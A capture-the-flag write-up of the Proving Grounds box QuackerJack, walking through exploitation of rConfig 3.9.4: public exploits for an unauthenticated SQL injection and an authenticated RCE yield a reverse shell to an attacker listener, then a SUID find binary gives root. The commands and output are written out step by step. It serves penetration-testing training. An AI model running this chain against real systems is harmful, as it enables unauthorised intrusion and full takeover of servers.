# QuackerJack Writeup - Proving Grounds

> Intermediate Linux box running rConfig 3.9.4, chaining an unauthenticated SQL injection with a cracked admin hash and an authenticated RCE for a shell, then escalated to root through a SUID find binary.

- **URL:** https://hackindex.io/writeups/quackerjack
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** sql-injection, hash-cracking, suid, gtfobins, privilege-escalation, rconfig, cve-2020-10220, cve-2020-10879
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

QuackerJack runs rConfig 3.9.4, chaining an unauthenticated SQL injection (CVE-2020-10220) to steal the admin hash with an authenticated remote code execution (CVE-2020-10879) for a shell as `apache`. A SUID `find` binary then gives root without needing sudo at all.

## Reconnaissance

### Nmap

Two web ports stand out.

```bash
nmap -sC -sV -p- $TARGET_IP
# PORT     STATE SERVICE VERSION
# 80/tcp   open  http    Apache httpd
# 8081/tcp open  ssl/http rConfig
```

Port 8081 serves rConfig 3.9.4 over HTTPS with a self-signed certificate, a network configuration management tool with multiple known CVEs in this version.

```bash
curl -k https://$TARGET_IP:8081
# <title>rConfig::Login</title>
```

## Exploitation

### rConfig unauthenticated SQLi (CVE-2020-10220)

Searchsploit has both halves of the chain.

```bash
searchsploit rconfig 3.9
# 48208 - rConfig 3.9.4 - Unauthenticated SQL Injection (CVE-2020-10220)
# 48241 - rConfig 3.9.4 - Authenticated Remote Code Execution (CVE-2020-10879)
```

Both public exploits fail TLS verification against the self-signed certificate, so patch in `verify=False` on every `requests.get()`/`requests.post()` call before running them.

```bash
sed -i 's/requests.get(encoded_request)/requests.get(encoded_request, verify=False)/' 48208.py
# Repeat for 48241.py, and add:
# import urllib3
# urllib3.disable_warnings()
```

The SQLi targets `commands.inc.php` and dumps the admin password hash.

```bash
python3 48208.py https://$TARGET_IP:8081
# [+] Dumped credentials:
# admin:dc40b85276a1f4d7cb35f154236aa1b2
```

The MD5 hash cracks instantly against an online rainbow table, giving a usable admin password.

### Authenticated RCE (CVE-2020-10879)

Start a listener, then run the authenticated exploit with the cracked credentials.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
python3 48241.py https://$TARGET_IP:8081 admin $ADMIN_PASSWORD $ATTACKER_IP $ATTACKER_PORT
# [+] Exploit sent, check your listener
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ id
# uid=48(apache) gid=48(apache) groups=48(apache)
```

Shell as `apache`.

## Privilege Escalation

### SUID find (GTFOBins)

`sudo -l` asks for a password that is not known, so look for SUID binaries instead.

```bash
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/find
```

`find` itself carries the SUID bit, a well-known GTFOBins privesc. Stabilize the shell first.

```bash
python -c 'import pty;pty.spawn("/bin/bash")'
# bash-4.2$
```

```bash
find . -exec /bin/sh -p \; -quit
# sh-4.2# id
# uid=48(apache) gid=48(apache) euid=0(root) groups=48(apache)
```

The `-p` flag keeps the SUID-inherited root privileges in the spawned shell.

Related

## References

- [CVE-2020-10220](https://nvd.nist.gov/vuln/detail/CVE-2020-10220) - rConfig 3.9.4 unauthenticated SQL injection.
- [CVE-2020-10879](https://nvd.nist.gov/vuln/detail/CVE-2020-10879) - rConfig 3.9.4 authenticated remote code execution.
- [GTFOBins: find](https://gtfobins.github.io/gtfobins/find/) - Privilege escalation via a SUID find binary.